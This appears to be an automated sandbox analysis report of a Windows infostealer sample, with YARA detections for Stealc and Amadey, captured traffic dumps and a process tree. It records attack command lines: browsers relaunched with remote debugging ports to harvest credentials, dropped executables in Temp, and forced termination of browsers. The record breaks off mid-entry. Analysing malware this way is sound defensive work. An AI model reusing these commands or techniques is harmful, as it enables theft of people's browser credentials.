2024-11-18 12:31:29 UTC	16384	IN	Data Raw: 63 28 29 2c 74 26 26 74 28 61 29 7d 29 7d 2c 66 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 Data Ascii: c(),t&&t(a)})},f),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!"
2024-11-18 12:31:29 UTC	16384	IN	Data Raw: 5f 57 33 43 3a 31 2c 57 33 43 3a 32 7d 29 2c 6e 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e Data Ascii: _W3C:1,W3C:2}),n({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return
2024-11-18 12:31:29 UTC	16384	IN	Data Raw: 69 6d 65 29 7d 63 61 74 63 68 28 72 29 7b 48 6f 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e Data Ascii: ime)}catch(r){Ho(o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.
2024-11-18 12:31:29 UTC	16384	IN	Data Raw: 70 28 72 2e 6d 65 74 61 54 61 67 73 2c 72 2e 5f 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d Data Ascii: p(r.metaTags,r._config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()}
2024-11-18 12:31:29 UTC	16384	IN	Data Raw: 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b Data Ascii: ta-m"===t[n].name)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++
2024-11-18 12:31:29 UTC	16384	IN	Data Raw: 61 44 65 76 69 63 65 54 69 63 6b 65 74 22 2c 70 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 Data Ascii: aDeviceTicket",pg="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="
2024-11-18 12:31:29 UTC	16384	IN	Data Raw: 2c 65 5b 6d 76 5d 26 26 28 65 5b 6d 76 5d 3d 65 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d Data Ascii: ,e[mv]&&(e[mv]=ea(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=

Target ID:	0
Start time:	07:28:54
Start date:	18/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xdc0000
File size:	1'783'808 bytes
MD5 hash:	A2331295021CE610C36D581F0D9A13D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1945261732.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1945734539.0000000000DC1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1452818797.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:29:06
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:29:08
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2088,i,17856904751636817292,4723582775574372775,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:29:17
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:29:17
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2368,i,17839547982440390256,1055857464074770870,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:29:17
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:29:18
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:29:23
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6416 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:29:23
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6628 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:29:45
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKECBFBAEBK.exe"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:29:45
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:29:45
Start date:	18/11/2024
Path:	C:\Users\user\DocumentsKECBFBAEBK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsKECBFBAEBK.exe"
Imagebase:	0x330000
File size:	1'911'808 bytes
MD5 hash:	B514F48E476F41B3142900C137D2DEDD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.1943295166.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2030406942.0000000000331000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:29:52
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x230000
File size:	1'911'808 bytes
MD5 hash:	B514F48E476F41B3142900C137D2DEDD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.2020388250.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2060686940.0000000000231000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	07:30:00
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x230000
File size:	1'911'808 bytes
MD5 hash:	B514F48E476F41B3142900C137D2DEDD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2089025914.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2750496081.0000000000231000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	07:30:15
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe"
Imagebase:	0x4a0000
File size:	4'413'440 bytes
MD5 hash:	D37D3A53D7894164E6707847360399C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	07:30:18
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6768 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	07:30:24
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe"
Imagebase:	0x420000
File size:	1'909'248 bytes
MD5 hash:	5485E223977429BACEDA63967D1172A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2363623516.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2385260950.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2385181260.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2389409242.0000000000ED1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2362537039.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2452016201.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	07:30:31
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	07:30:33
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe"
Imagebase:	0xed0000
File size:	1'783'808 bytes
MD5 hash:	A2331295021CE610C36D581F0D9A13D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2478552911.0000000000ED1000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000003.2437353667.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2477951066.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	07:30:36
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe"
Imagebase:	0x420000
File size:	1'909'248 bytes
MD5 hash:	5485E223977429BACEDA63967D1172A1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2608815429.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2551942358.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2557884140.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	07:30:41
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe"
Imagebase:	0x670000
File size:	923'136 bytes
MD5 hash:	BA6B36F33BDCDBA751B6955C246A091B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	07:30:41
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	07:30:41
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	07:30:44
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	07:30:44
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	07:30:45
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	07:30:45
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	07:30:45
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	07:30:45
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
